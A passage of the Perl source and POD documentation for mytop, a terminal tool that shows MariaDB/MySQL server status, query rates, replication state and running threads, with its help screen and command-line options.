+-------------------------+------------+ my $query_cache_hits = 0; my $query_cache_hits_per_sec = 0; my $now_query_cache_hits_per_sec = 0; if ($have_query_cache) { $query_cache_hits = $STATUS{Qcache_hits}; $query_cache_hits_per_sec = $STATUS{Qcache_hits} / $STATUS{Uptime}; if (defined $last_time and $last_time != $now_time) { my $q_delta = $STATUS{Qcache_hits} - $OLD_STATUS{Qcache_hits}; $now_query_cache_hits_per_sec = sprintf "%.2f", $q_delta / $t_delta; } } my $l; if (-e "/proc/loadavg") { ## To avoid warnings if the OS is not Linux open (my $fh, "<", "/proc/loadavg"); ## Only the first 3 values are interresting $l = join(" ", (split /\s+/, <$fh>)[0..2]); close $fh; } $last_time = $now_time; ## Server Uptime in meaningful terms... my $time = $STATUS{Uptime}; my ($d,$h,$m,$s) = (0, 0, 0, 0); $d += int($time / (60*60*24)); $time -= $d * (60*60*24); $h += int($time / (60*60)); $time -= $h * (60*60); $m += int($time / (60)); $time -= $m * (60); $s += int($time); my $uptime = sprintf("%d+%02d:%02d:%02d", $d, $h, $m, $s); ## Queries per second... my $avg_queries_per_sec = sprintf("%.2f", $STATUS{Questions} / $STATUS{Uptime}); my $num_queries = $STATUS{Questions}; my @t = localtime(time); my $current_time = sprintf "[%02d:%02d:%02d]", $t[2], $t[1], $t[0]; my $host_width = length("$server $db_version on $config{host}"); my $up_width = $width - $host_width - 1; Clear() unless $config{batchmode}; print RESET(); printf "%-.${host_width}s %${up_width}s\n", "$server $db_version on $config{host}", defined($l) ? "load ($l) up $uptime $current_time" : "up $uptime $current_time"; $lines_left--; printf " Queries: %-7s qps: %4.0f Slow: %7s Se/In/Up/De(%%): %02.0f/%02.0f/%02.0f/%02.0f\n", make_short( $STATUS{Questions} ), # q total $STATUS{Questions} / $STATUS{Uptime}, # qps, average make_short( $STATUS{Slow_queries} ), # slow # hmm. a Qcache hit is really a select and should be counted. 100 * ($STATUS{Com_select} + ($STATUS{Qcache_hits}||0) ) / $STATUS{Questions}, 100 * ($STATUS{Com_insert} + $STATUS{Com_replace} ) / $STATUS{Questions}, 100 * ($STATUS{Com_update} ) / $STATUS{Questions}, 100 * $STATUS{Com_delete} / $STATUS{Questions}; $lines_left--; if ($t_delta) { my $q_diff = ( $STATUS{Questions} - $OLD_STATUS{Questions} ); # print("q_diff: $STATUS{Questions} - $OLD_STATUS{Questions} / $t_delta = $q_diff\n"); printf(" Sorts: %6.0f qps now: %4.0f Slow qps: %3.1f Threads: %4.0f (%4.0f/%4.0f) %02.0f/%02.0f/%02.0f/%02.0f\n", ( $STATUS{Sort_rows} - $OLD_STATUS{Sort_rows} ) / $t_delta, ( $STATUS{Questions} - $OLD_STATUS{Questions} ) / $t_delta, ( # slow now (qps) ($STATUS{Slow_queries} ) ? ( $STATUS{Slow_queries} - $OLD_STATUS{Slow_queries} ) / $t_delta : 0 ), $STATUS{Threads_connected}, $STATUS{Threads_running}, $STATUS{Threads_cached}, (100 * ($STATUS{Com_select} - $OLD_STATUS{Com_select} + ($STATUS{Qcache_hits}||0) - ($OLD_STATUS{Qcache_hits}||0) ) ) / ($q_diff ), (100 * ($STATUS{Com_insert} - $OLD_STATUS{Com_insert} + $STATUS{Com_replace} - $OLD_STATUS{Com_replace} ) ) / ($q_diff ), (100 * ($STATUS{Com_update} - $OLD_STATUS{Com_update}) ) / ($q_diff ), (100 * ($STATUS{Com_delete} - $OLD_STATUS{Com_delete}) ) / ($q_diff ), ); } else { print "\n"; } $lines_left--; if ($have_query_cache and $STATUS{Com_select} and $query_cache_hits) { printf(" Cache Hits: %-5s Hits/s: %4.1f Hits now: %5.1f Ratio: ", make_short($STATUS{Qcache_hits}), # cache hits $STATUS{Qcache_hits} / $STATUS{Uptime}, # hits / sec ($t_delta) ? ($STATUS{Qcache_hits} - $OLD_STATUS{Qcache_hits}) / $t_delta : 0, # Hits Now ); my ($Ratio) = 100 * ($STATUS{Qcache_hits}) / ($STATUS{Qcache_hits} + $STATUS{Com_select} ); if ($HAS_COLOR) { print YELLOW() if ($Ratio < 80.0); print RED() if ($Ratio < 50.0); print MAGENTA() if ($Ratio < 20.0); } printf("%4.1f%% ",$Ratio); if ($HAS_COLOR) { print RESET(); } print " Ratio now: "; my ($Ratio_now) = ($t_delta) ? # ratio now 100 * ($STATUS{Qcache_hits} - $OLD_STATUS{Qcache_hits} ) / ( ($STATUS{Com_select} + $STATUS{Qcache_hits} - ($OLD_STATUS{Qcache_hits} + $OLD_STATUS{Com_select}) ) || 1) : 0; if ($HAS_COLOR) { print GREEN() if ($Ratio_now >= 80.0); print YELLOW() if ($Ratio_now < 80.0); print RED() if ($Ratio_now < 50.0); print MAGENTA() if ($Ratio_now < 20.0); } printf("%4.1f%% \n",$Ratio_now); if ($HAS_COLOR) { print RESET(); } $lines_left--; } if ($t_delta) { my $rows_read; if (defined($STATUS{Rows_read})) { $rows_read= $STATUS{Rows_read} - $OLD_STATUS{Rows_read}; } else { $rows_read= ($STATUS{Handler_read_first} + $STATUS{Handler_read_key} + $STATUS{Handler_read_next} + $STATUS{Handler_read_prev} + $STATUS{Handler_read_rnd} + $STATUS{Handler_read_rnd_next} - $OLD_STATUS{Handler_read_first} - $OLD_STATUS{Handler_read_key} - $OLD_STATUS{Handler_read_next} - $OLD_STATUS{Handler_read_prev} - $OLD_STATUS{Handler_read_rnd} - $OLD_STATUS{Handler_read_rnd_next}); } printf(" Handler: (R/W/U/D) %5d/%5d/%5d/%5d Tmp: R/W/U: %5d/%5d/%5d\n", $rows_read/$t_delta, ($STATUS{Handler_write} - $OLD_STATUS{Handler_write}) / $t_delta, ($STATUS{Handler_update} - $OLD_STATUS{Handler_update}) / $t_delta, ($STATUS{Handler_delete} - $OLD_STATUS{Handler_delete}) / $t_delta, ($STATUS{Rows_tmp_read} - $OLD_STATUS{Rows_tmp_read}) / $t_delta, ($STATUS{Handler_tmp_write} -$OLD_STATUS{Handler_tmp_write})/$t_delta, ($STATUS{Handler_tmp_update} - $OLD_STATUS{Handler_tmp_update})/$t_delta); } else { print "\n"; } $lines_left--; printf(" MyISAM Key Cache Efficiency: %2.1f%% Bps in/out: %5s/%5s ", $cache_hits_percent, make_short($STATUS{Bytes_received} / $STATUS{Uptime} ), make_short($STATUS{Bytes_sent} / $STATUS{Uptime})); printf("Now in/out: %5s/%5s", make_short(($STATUS{Bytes_received} - $OLD_STATUS{Bytes_received}) / $t_delta ), make_short(($STATUS{Bytes_sent} - $OLD_STATUS{Bytes_sent}) / $t_delta )) if ($t_delta); print "\n"; $lines_left--; my ($data) = Hashes('SHOW /*mytop*/ GLOBAL VARIABLES LIKE "read_only"'); if ($data->{Value} ne "OFF") { print RED() if ($HAS_COLOR) ; print " ReadOnly"; RESET() if ($HAS_COLOR); } ($data) = Hashes('SHOW /*mytop*/ SLAVE STATUS'); if (defined($data->{Master_Host})) { if (defined($data->{Seconds_Behind_Master})) { if ($HAS_COLOR) { print GREEN(); print YELLOW() if ($data->{Seconds_Behind_Master} > 60); print MAGENTA() if ($data->{Seconds_Behind_Master} > 360); } } print " Replication "; print "IO:$data->{Slave_IO_Running} "; print "SQL:$data->{Slave_SQL_Running} "; print RESET() if ($HAS_COLOR); if (defined($data->{Seconds_Behind_Master})) { if ($HAS_COLOR) { print GREEN(); print YELLOW() if ($data->{Seconds_Behind_Master} > 60); print MAGENTA() if ($data->{Seconds_Behind_Master} > 360); } print "Delay: $data->{Seconds_Behind_Master} sec."; } else { my $free = $width - 45; my $Err = substr $data->{Last_Error},0 ,$free; printf(" ERR: %-${free}s", $Err) if ($Err ne ""); } print WHITE() if ($HAS_COLOR); print "\n"; $lines_left--; } print "\n"; } if (not $config{batchmode} and not $config{header}) { Clear(); print RESET(); } ## ## Threads ## my $proc_cmd; ## Query used to fetch the processlist my $time_format = "6d"; if ($has_is_processlist == 1) { if ($has_time_ms == 1) { $time_format = "6.6s"; if ($has_progress == 1) { ## To have a computed value of "Progress" like the ## "SHOW PROCESSLIST" one, the Progress column of the query ## must be replaced by : ## "CASE WHEN Max_Stage < 2 THEN Progress ELSE ## (Stage-1)/Max_Stage*100+Progress/Max_Stage END AS Progress" $proc_cmd = "SELECT /*mytop*/ Id, User, Host, db, Command, CASE WHEN TIME > 10000 THEN Time ELSE ROUND(TIME_MS/1000, 1) END AS Time, State, Info, Progress, Stage, Max_Stage FROM INFORMATION_SCHEMA.PROCESSLIST WHERE ID != CONNECTION_ID();"; } else { $proc_cmd = "SELECT /*mytop*/ Id, User, Host, db, Command, CASE WHEN TIME > 10000 THEN Time ELSE ROUND(TIME_MS/1000, 1) END AS Time, State, Info FROM INFORMATION_SCHEMA.PROCESSLIST WHERE ID != CONNECTION_ID();"; } } else { $proc_cmd = "SELECT /*mytop*/ Id, User, Host, db, Command, Time, State, Info FROM INFORMATION_SCHEMA.PROCESSLIST WHERE ID != CONNECTION_ID();"; } } else { $proc_cmd = "SHOW /*mytop*/ FULL PROCESSLIST;"; } ## Minimal width values for columns with a dynamic width if ($config{usercol_width} < 4) { $config{usercol_width} = 4; } if ($config{dbcol_width} < 2) { $config{dbcol_width} = 2; } my @sz = (9, $config{usercol_width}, 15, $config{dbcol_width}, 6, 6, 8); if ($has_progress == 1 && !$config{hide_progress}) { push @sz, 5; }; my $used = scalar(@sz) + Sum(@sz); undef(@sz); ## If the terminal width <= 80, the state column will have a width of 6 ## chars else it will be between 6 and 15 depending on the terminal width my $state = $width <= 80 ? 6 : int(min(6+($width-80)/3, 15)); ## $free = The number of chars between the beginning of the "Query" ## column and the end of the line my $free = $width - $used - ($state - 6); my $format= "%9s %$config{usercol_width}s %15s %$config{dbcol_width}s %6s "; if ($has_progress == 1 && !$config{hide_progress}) { $format .= "%5s "; } $format .= "%6s %${state}s %-.${free}s\n"; my $format2 = "%9d %$config{usercol_width}.$config{usercol_width}s %15.15s %$config{dbcol_width}.$config{dbcol_width}s %${time_format} "; if ($has_progress == 1 && !$config{hide_progress}) { $format2 .= "%5.1f "; } $format2 .= "%6.6s %${state}.${state}s "; if ($config{fullqueries}) { $format2 .= "%-${free}s\n"; } else { $format2 .= "%-${free}.${free}s\n"; } print BOLD() if ($HAS_COLOR); if ($has_progress == 1 && !$config{hide_progress}) { printf $format, 'Id','User','Host/IP','DB','Time', '%', 'Cmd', 'State', 'Query'; } else { printf $format, 'Id','User','Host/IP','DB','Time', 'Cmd', 'State', 'Query'; } print RESET() if ($HAS_COLOR); ## Id User Host DB if ($has_progress == 1 && !$config{hide_progress}) { printf $format, '--','----','-------','--','----', '-', '---', '-----', '----------'; } else { printf $format, '--','----','-------','--','----', '---', '-----', '----------'; } $lines_left -= 2; my @data = Hashes($proc_cmd); foreach my $thread (@data) { last if not $lines_left; ## Drop Domain Name, unless it looks like an IP address. If ## it's an IP, we'll strip the port number because it's rarely ## interesting. my $is_ip = 0; if ($thread->{Host} =~ /^(\d{1,3}\.){3}(\d{1,3})(:\d+)?$/) { $thread->{Host} =~ s/:.*$//; $is_ip = 1; } else { $thread->{Host} =~ s/^([^.]+).*/$1/; } ## Otherwise, look up the IP (if resolve is set) and strip the ## name if ($is_ip and $config{resolve}) { $thread->{Host} =~ s/:\d+$//; my $host = gethostbyaddr(inet_aton($thread->{Host}), AF_INET); if ($host) { ## Only the hostname part of the DNS is kept $host =~ s/^([^.]+).*/$1/; } $thread->{Host} = $host; } ## Fix possible undefs $thread->{db} ||= ''; $thread->{Info} ||= ''; $thread->{Time} ||= 0 ; $thread->{Id} ||= 0 ; $thread->{User} ||= ''; $thread->{Command} ||= ''; $thread->{Host} ||= ''; $thread->{State} ||= ""; $thread->{Progress} ||= 0; ## Alter double hyphen comments so they don't break ## the query when newlines are removed - http://freshmeat.net/users/jerjones $thread->{Info} =~ s~\s--(.*)$~ /* $1 */ ~mg; ## Normalize spaces -- mostly disabled for now. This can ## break EXPLAIN if you try to explain a mangled query. It ## may be re-enabled later as an option. ## Replace newlines and carriage returns with a space $thread->{Info} =~ tr/\n\r/ /; ## Leading space removal $thread->{Info} =~ s/^\s*//; ## Strip non printing control symbols $thread->{Info} =~ tr/[[:cntrl:]]//; ## Collpase whitespace $thread->{Info} =~ s/\s+/ /g; ## Trailing space removal $thread->{Info} =~ s/\s$//; ## Put the first letter of the query uppercase for a better readability ## with long State strings $thread->{Info} = ucfirst $thread->{Info}; ## Stow it in the cache $qcache{$thread->{Id}} = $thread->{Info}; $dbcache{$thread->{Id}} = $thread->{db}; $ucache{$thread->{Id}} = $thread->{User}; ## If Progress information is available and a multi-stage query is ## running, the actual stage and the total number of stages of the ## thread are shown at the beginning of the State column if ($has_progress == 1 && $thread->{Max_Stage} && $thread->{Max_Stage} > 1) { $thread->{State} = $thread->{Stage}."/". $thread->{Max_Stage}." ".$thread->{State}; } } ## Sort by idle time (closest thing to CPU usage I can think of). my @sorted; if (not $config{sort}) { @sorted = sort { $a->{Time} <=> $b->{Time} } @data } else { @sorted = sort { $b->{Time} <=> $a->{Time} } @data } foreach my $thread (@sorted) { ## Check to see if we can skip out. ## We skip out if we know the given line doesn't match. next if (($thread->{Command} eq "Sleep") and (not $config{idle})); next if (($thread->{Command} eq "Binlog Dump") and (not $config{idle})); next if (($thread->{Command} eq "Daemon") and (not $config{idle})); next if ($thread->{User} !~ $config{filter_user}); next if ($thread->{db} !~ $config{filter_db}); next if ($thread->{Host} !~ $config{filter_host}); next if ($thread->{State} !~ $config{filter_state}); ## Otherwise, print. my $smInfo; if ($thread->{Info}) { if ($config{fullqueries}) { $smInfo = $thread->{Info}; if (length($smInfo) > $free) { $lines_left -= int((length($smInfo) - $free)/$width) + 1; } } else { $smInfo = substr $thread->{Info}, 0, $free; } } # if ($thread->{State}) # { # $smInfo = substr $thread->{State}, 0, $free; # } else { $smInfo = ""; } $lines_left--; if ($lines_left < 0) { print WHITE(), "-- Truncated query list -- "; last; } if ($HAS_COLOR) { print YELLOW() if $thread->{Command} eq 'Query'; print WHITE() if $thread->{Command} eq 'Sleep'; print GREEN() if $thread->{Command} eq 'Connect'; print BOLD() if $thread->{Time} > $config{slow}; print MAGENTA() if $thread->{Time} > $config{long}; } if ($has_progress == 1 && !$config{hide_progress}) { printf $format2, $thread->{Id}, $thread->{User}, $thread->{Host}, $thread->{db}, $thread->{Time}, $thread->{Progress}, $thread->{Command}, $thread->{State}, $smInfo; } else { printf $format2, $thread->{Id}, $thread->{User}, $thread->{Host}, $thread->{db}, $thread->{Time}, $thread->{Command}, $thread->{State}, $smInfo; } print RESET() if $HAS_COLOR; } } ########################################################################### my $questions; sub GetQPS() { my ($data) = Hashes('SHOW /*mytop*/ STATUS LIKE "Questions"'); my $num = $data->{Value}; if (not defined $questions) ## first time? { $questions = $num; return; } my $qps = $num - $questions; $questions = $num; print "$qps\n"; } ########################################################################### sub GetInnoDBStatus() { if (not $config{pager}) { if (not $config{pager} = my_which('less')) { $config{pager} = my_which('more'); } } my @data = Hashes("SHOW /*mytop*/ ENGINE INNODB STATUS"); open P, "|$config{pager}" or die "$!"; print keys %{$data[0]}; print $data[0]->{Status},"\n"; close P; } ########################################################################### my %prev_data; sub GetCmdSummary() { my ($width, $height, $wpx, $hpx, $lines_left); if (not $config{batchmode}) { ($width, $height, $wpx, $hpx) = GetTerminalSize(); $lines_left = $height - 2; } else { $height = 999_999; ## I hope you don't have more than that! $lines_left = 999_999; $width = 80; } ## Variable_name and Value pairs come back... my @data = Hashes("SHOW /*mytop*/ STATUS LIKE 'Com\\_%'"); my %cmd_data; my %cmd_delta; my %cmd_pct; my %cmd_delta_pct; my $total; my $delta_total; for my $item (@data) { next unless $item->{Value}; $item->{Variable_name} =~ s/^Com_//; $item->{Variable_name} =~ s/_/ /g; $cmd_data{$item->{Variable_name}} = $item->{Value}; $total += $item->{Value}; } ## Populate other stats for my $item (keys %cmd_data) { $cmd_delta{$item} = $cmd_data{$item} - ($prev_data{$item} || $cmd_data{$item} - 1); $delta_total += $cmd_delta{$item}; $cmd_pct{$item} = int(($cmd_data{$item} / $total) * 100); } for my $item (keys %cmd_data) { $cmd_delta_pct{$item} = int(($cmd_delta{$item} / $delta_total) * 100); } ## Display Clear() unless $config{batchmode}; print RESET(); printf "%18s %10s %4s | %5s %4s\n", 'Command', 'Total', 'Pct', 'Last', 'Pct'; printf "%18s %10s %4s | %5s %4s\n", '-------', '-----', '---', '----', '---'; $lines_left -= 2; for my $item (sort { $cmd_data{$b} <=> $cmd_data{$a} } keys %cmd_data) { printf "%18s %10d %4s | %5d %4s\n", $item, $cmd_data{$item}, $cmd_pct{$item} . "%", $cmd_delta{$item}, $cmd_delta_pct{$item} . "%"; last if not $lines_left; $lines_left -= 1; } %prev_data = %cmd_data; } ########################################################################### sub GetShowVariables() { if (not $config{pager}) { if (not $config{pager} = my_which('less')) { $config{pager} = my_which('more'); } } my @rows = Hashes("SHOW /*mytop*/ VARIABLES"); open P, "|$config{pager}" or die "$!"; for my $row (@rows) { my $name = $row->{Variable_name}; my $value = $row->{Value}; printf P "%32s: %s\n", $name, $value; } close P; } ########################################################################### sub GetShowStatus() { Clear() unless $config{batchmode}; my @rows = Hashes("SHOW /*mytop*/ STATUS"); printf "%32s %10s %10s Toggle idle with 'i'\n", 'Counter', 'Total', 'Change'; printf "%32s %10s %10s\n", '-------', '-----', '------'; for my $row (@rows) { my $name = $row->{Variable_name}; my $value = $row->{Value}; my $old = $statcache{$name}; my $delta = 0; next if $name =~ m/^Com_/; ## skip Com_ stats next if $value =~ m/^[^0-9]*$/; ## skip non-numeric ## TODO: if Qcache is off, we should skip Qcache_ values if ($HAS_COLOR and defined $old and $old =~ /^\d/) { if ($value > $old) { print YELLOW(); $delta = $value - $old; } elsif ($value < $old) { print RED(); $delta = $value - $old; } if (not $config{idle} and $value == $old) { ## filter unchanging stats, maybe print RESET(); next; } } printf "%32s: %10s %10s\n", $name, $value, $delta; print RESET() if $HAS_COLOR; $statcache{$name} = $value; } } ########################################################################### sub FullQueryInfo($) { my $id = shift; if (not exists $qcache{$id} or not defined $qcache{$id}) { print "*** Invalid id. ***\n"; return; } my $sql = $qcache{$id}; print $CLEAR; print "Thread $id was executing following query:\n\n"; print YELLOW(), $sql,"\n\n", RESET(); } ########################################################################### sub Explain($) { my $id = shift; if (not exists $qcache{$id} or not defined $qcache{$id}) { print "*** Invalid id. ***\n"; return; } my $sql = $qcache{$id}; my $db = $dbcache{$id}; Execute("USE /*mytop*/ $db"); my @info = Hashes("EXPLAIN $sql"); print $CLEAR; print "EXPLAIN $sql:\n\n"; PrintTable(@info); } ########################################################################### sub PrintTable(@) { my $cnt = 1; my @cols = qw(table type possible_keys key key_len ref rows Extra); for my $row (@_) { print "*** row $cnt ***\n"; for my $key (@cols) { my $val = $row->{$key} || 'NULL'; printf "%15s: %s\n", $key, $val; } $cnt++; } } ########################################################################### sub StringOrRegex($) { my $input = shift; chomp $input; if (defined $input) { ## regex, strip /.../ and use via qr// if ($input =~ m{^/} and $input =~ m{/$}) { $input =~ s{^/}{} if $config{filter_user}; $input =~ s{/$}{} if $config{filter_user}; $input = qr/$input/; } ## reset to match anything elsif ($input eq '') { $input = qr/.*/; } ## string, build a simple regex else { $input = '^' . $input . '$'; $input = qr/$input/; } } ## reset to match anything else { $input = qr/.*/; } return $input; } ########################################################################### sub cmd_l { ReadMode($RM_RESET); print RED(), "Seconds for long queries: ", RESET(); my $secs = ReadLine(0); if ($secs =~ /^\s*(\d+)/) { $config{long} = $1; if ($config{long} < 1) { $config{long} = 1; } } ReadMode($RM_NOBLKRD); } sub cmd_s { ReadMode($RM_RESET); print RED(), "Seconds of Delay: ", RESET(); my $secs = ReadLine(0); if ($secs =~ /^\s*(\d+)/) { $config{delay} = $1; if ($config{delay} < 1) { $config{delay} = 1; } } ReadMode($RM_NOBLKRD); } sub cmd_S { ReadMode($RM_RESET); print RED(), "Seconds for Slow queries: ", RESET(); my $secs = ReadLine(0); if ($secs =~ /^\s*(\d+)/) { $config{slow} = $1; if ($config{slow} < 1) { $config{slow} = 1; } } ReadMode($RM_NOBLKRD); } sub cmd_q { ReadMode($RM_RESET); print "\n"; exit; } sub trim($) { my $string = shift; $string =~ s/^\s+//; $string =~ s/\s+$//; return $string; } ########################################################################### sub PrintHelp() { my $help = qq[Help for mytop version $main::VERSION by Jeremy D. Zawodny <${YELLOW}Jeremy\@Zawodny.com${RESET}> with updates by Mark Grennan <${YELLOW}mark\@grennan.com${RESET}> and Jean Weisbuch <${YELLOW}jean\@phpnet.org${RESET}> ? - display this screen # - debug mode (toggle) c - command summary view (based on Com_* counters) C - turn color on and off d - show only a specific database e - explain the query that a thread is running E - display current replication error f - show full query info for a given thread F - unfilter the display h - show only a specifc host's connections H - toggle the mytop header i - toggle the display of idle (sleeping) threads I - show innodb status k - kill a thread p - pause the display l - change long running queries hightlighing m - switch [mode] to qps (queries/sec) scrolling view M - switch [mode] to status o - reverse the sort order (toggle) q - quit r - reset the status counters (via FLUSH STATUS on your server) R - change reverse IP lookup s - change the delay between screen updates S - change slow query hightlighting t - switch to thread view (default) u - show only a specific user V - show variables : - enter a command (not yet implemented) ! - Skip an error that has stopped replications (at your own risk) L - show full queries (do not strip to terminal width) w - adjust the User and DB columns width a - toggle the progress column Base version from ${GREEN}http://www.mysqlfanboy.com/mytop-3${RESET} This version comes as part of the ${GREEN}MariaDB${RESET} distribution. ]; print $help; } sub Sum(@) { my $sum; while (my $val = shift @_) { $sum += $val; } return $sum; } ## A useful routine from perlfaq sub commify($) { local $_ = shift; return 0 unless defined $_; 1 while s/^([-+]?\d+)(\d{3})/$1,$2/; return $_; } ## Compact numeric representation (10,000 -> 10.0k) sub make_short($) { my $number = shift; return commify($number) if $config{long_nums}; my $n = 0; while ($number > 1_025) { $number /= 1024; $n++; }; return sprintf "%.1f%s", $number, ('','k','M','G', 'T')[$n]; } ## Run a query and return the records has an array of hashes. sub Hashes($) { my $sql = shift; my @records; if (my $sth = Execute($sql)) { while (my $ref = $sth->fetchrow_hashref) { print "record\n" if $debug; push @records, $ref; } } return @records; } ## Execute an SQL query and return the statement handle. sub Execute($) { my $sql = shift; $sql =~ s/\n/ /sg; my $sth = $dbh->prepare($sql); if (not $sth) { ReadMode($RM_RESET); die $DBI::errstr; } my $ReturnCode = $sth->execute; if (not $ReturnCode) { if ($debug) { print "query failed\n"; sleep 10; } return undef; } return $sth; } #### #### my_which is used, because we can't assume that every system has the #### which command. my_which can take only one argument at a time. #### Return values: requested system command with the first found path, #### or undefined, if not found. #### sub my_which { my ($command) = @_; my (@paths, $path); return $command if (-f $command && -x $command); ## Check first if this is a source distribution, then if this binary distribution and last in the path push @paths, "./extra"; push @paths, $path_for_script; push @paths, split(':', $ENV{'PATH'}); foreach $path (@paths) { $path .= "/$command"; return $path if (-f $path && -x $path); } return undef(); } =pod =head1 SYNOPSIS B [options] =head1 AVAILABILITY Base version from B. This version comes as part of the B distribution. See B. And older (the original) version B is available from http://www.mysqlfanboy.com/mytop-3/ it B also be on CPAN as well. =head1 REQUIREMENTS In order for B to function properly, you must have the following: * Perl 5.005 or newer * Getopt::Long * DBI and DBD::MariaDB or DBD::mysql * Term::ReadKey from CPAN Most systems are likely to have all of those installed--except for Term::ReadKey. You will need to pick that up from the CPAN. You can pick up Term::ReadKey here: http://search.cpan.org/search?dist=TermReadKey And you obviously need access to a MariaDB server with the necessary security to run the I and I commands. If you are a Windows user, using ActiveState's Perl, you can use PPM (the Perl Package Manager) to install the MariaDB/MySQL and Term::ReadKey modules. =head2 Optional Color Support In additon, if you want a color B (recommended), install Term::ANSIColor from the CPAN: http://search.cpan.org/search?dist=ANSIColor Once you do, B will automatically use it. However, color is not yet working on Windows. Patches welcome. :-) =head2 Optional Hi-Res Timing If you want B to provide more accurate real-time queries-per-second statistics, install the Time::HiRes module from CPAN. B will automatically notice that you have it and use it rather than the standard timing mechanism. =head2 Platforms B is known to work on: * Linux (2.2.x, 2.4.x) * FreeBSD (2.2, 3.x, 4.x) * Mac OS X * BSDI 4.x * Solaris 2.x * Windows NT 4.x (ActivePerl) If you find that it works on another platform, please let me know. Given that it is all Perl code, I expect it to be rather portable to Unix and Unix-like systems. Heck, it I even work on Win32 systems. =head1 DESCRIPTION Help is always welcome in improving this software. Feel free to contact the author (see L<"AUTHOR"> below) with bug reports, fixes, suggestions, and comments. Additionally L<"BUGS"> will provide a list of things this software is not able to do yet. Having said that, here are the details on how it works and what you can do with it. =head2 The Basics B was inspired by the system monitoring tool B. I routinely use B on Linux, FreeBSD, and Solaris. You are likely to notice features from each of them here. B will connect to a MariaDB server and periodically run the I and I commands and attempt to summarize the information from them in a useful format. =head2 The Display The B display screen is really broken into two parts. The top 4 lines (header) contain summary information about your MariaDB server. For example, you might see something like: MariaDB 10.5.0 on localhost load (3.89 3.86 3.91) up 7+23:56:31 [16:33:01] Queries: 353.4M qps: 531 Slow: 4.5k Se/In/Up/De(%): 87/02/02/00 Sorts: 2390 qps now: 651 Slow qps: 0.0 Threads: 11 ( 1/ 13) 88/01/03/00 Handler: (R/W/U/D) 82138/ 5884/ 20/ 1 Tmp: R/W/U: 13623/29501/ 79 MyISAM Key Cache Efficiency: 99.9% Bps in/out: 157.4k/ 2.2M Now in/out: 554.8k/ 2.6M The first line identifies the hostname of the server (localhost) and the version of MariaDB it is running. The right hand side shows the uptime of the MariaDB server process in days+hours:minutes:seconds format (much like FreeBSD's top) as well as the current time. The second line displays the total number of queries the server has processed, the average number of queries per second, the number of slow queries, and the percentage of Select, Insert, Update, and Delete queries. The third real-time values. First is the number of queries per second, then the number of slow queries, followed by query precentages (like on the previous line). And the fourth line displays key buffer efficiency (how often keys are read from the buffer rather than disk) and the number of bytes that MariaDB has sent and received, both over all and in the last cycle. You can toggle the header by hitting B when running B. The second part of the display lists as many threads as can fit on screen. By default they are sorted according to their idle time (least idle first). The display looks like: Id User Host Dbase Time Cmd Query or State -- ---- ---- ----- ---- --- -------------- 61 jzawodn localhost music 0 Query show processlist As you can see, the thread id, username, host from which the user is connecting, database to which the user is connected, number of seconds of idle time, the command the thread is executing, and the query info are all displayed. Often times the query info is what you are really interested in, so it is good to run B in an xterm that is wider than the normal 80 columns if possible. The thread display color-codes the threads if you have installed color support. The current color scheme only works well in a window with a dark (like black) background. The colors are selected according to the C column of the display: Query - Yellow Sleep - White Connect - Green Slow - Bright Long - Magenta Those are purely arbitrary and will be customizable in a future release. If they annoy you just start B with the B<--nocolor> flag or adjust your config file appropriately. =head2 Arguments B handles long and short command-line arguments. Not all options have both long and short formats, however. The long arguments have two dashes `--'. Short arguments only have one '-'. =over =item B<-u> or B<--user> username Username to use when logging in to the MariaDB server. Default: ``B''. =item B<-p> or B<--pass> or B<--password> I Password to use when logging in to the MariaDB server. Default: none. WARNING: This is insecure as the password is visible for anyone. See B<--prompt> instead! =item B<-h> or B<--host> I[B<:>I] Hostname of the MariaDB server. The hostname may be followed by an option port number. Note that the port is specified separate from the host when using a config file. Default: ``B''. =item B<--port> or B<-P> I If you're running MariaDB on a non-standard port, use this to specify the port number. Default: B<3306>. =item B<-s> or B<--delay> I How long between display refreshes. Default: B<5> =item B<-d> or B<--db> or B<--database> I Use if you'd like B to connect to a specific database by default. Default: none. =item B<-b> or B<--batch> or B<--batchmode> In batch mode, mytop runs only once, does not clear the screen, and places no limit on the number of lines it will print. This is suitable for running periodically (perhaps from B) to capture the information into a file for later viewing. You might use batch mode in a CGI script to occasionally display your MariaDB server status on the web. Default: unset. =item B<-S> or B<--socket> I If you're running B on the same host as MariaDB/MySQL, you may wish to have it use the MariaDB/MySQL socket directly rather than a standard TCP/IP connection. If you do,just specify one. Note that specifying a socket will make B ignore any host and/or port that you might have specified. If the socket does not exist (or the file specified is not a socket), this option will be ignored and B will use the hostname and port number instead. Default: none. =item B<--header> or B<--noheader> Specify if you want the header to display or not. You can toggle this with the B key while B is running. Default: header. =item B<--color> or B<--nocolor> Specify if you want a color display. This has no effect if you don't have color support available. Default: If you have color support, B will try color unless you tell it not to. =item B<-i> or B<--idle> or B<--noi> or B<--noidle> Specify if you want idle (sleeping) threads to appear in the list. If sleeping threads are omitted, the default sorting order is reversed so that the longest running queries appear at the top of the list. Default: idle. =item B<--prompt> or B<--noprompt> Specify if you want to be prompted to type in your database password. This provides a little bit more security since it not only prevents the password from viewable in a process list, but also doesn't require the password to be stored in plain text in your C<~/.mytop> config file. You will B be prompted if a password has not been specified in your config file or through another command line option. Default: noprompt. =item B<--resolve> If you have skip-resolve set on MariaDB (to keep it from doing a reverse DNS lookup on each inbound connection), mytop can replace IP addresses with hostnames but toggling this option. Default: noresolve =item B<--long> or B<--nolong> For large numbers print all digits (e.g. 10.000) instead of using a more compact approximation (e.g. 10.0k). Default: nolong. =item B<-m> or B<--mode> I Specify initial mode B(queries/second), B(overview), B(command summary), B(InnoDB status) or B(). Default: B =item B<--sort> or B<--nosort> Reverse sort order from ascending to descending using Idle time. Default: nosort. =back Command-line arguments will always take precedence over config file options. That happens because the config file is read I the command-line arguments are applied. =head2 Config File Instead of always using bulky command-line parameters, you can also use a config files for the default value of your options. mytop will first read the [client] and [mytop] sections from your my.cnf files. After that it will read the (C<~/.mytop>) file from your home directory (if present). These are read I any of your command-line arguments are processed, so your command-line arguments will override directives in the config file. Here is a sample config file C<~/.mytop> which implements the defaults described above. user=root pass= host=localhost db=test delay=5 port=3306 slow=10 socket= batchmode=0 header=1 color=1 idle=1 long=120 Using a config file will help to ensure that your database password isn't visible to users on the command-line. Just make sure that the permissions on C<~/.mytop> are such that others cannot read it (unless you want them to, of course). You may have white space on either side of the C<=> in lines of the config file. =head2 Shortcut Keys The following keys perform various actions while B is running. Those which have not been implemented are listed as such. They are included to give the user idea of what is coming. =over =item B Display help. =item B Show "command counters" based on the Com_* values in SHOW STATUS. This is a new feature. Feedback 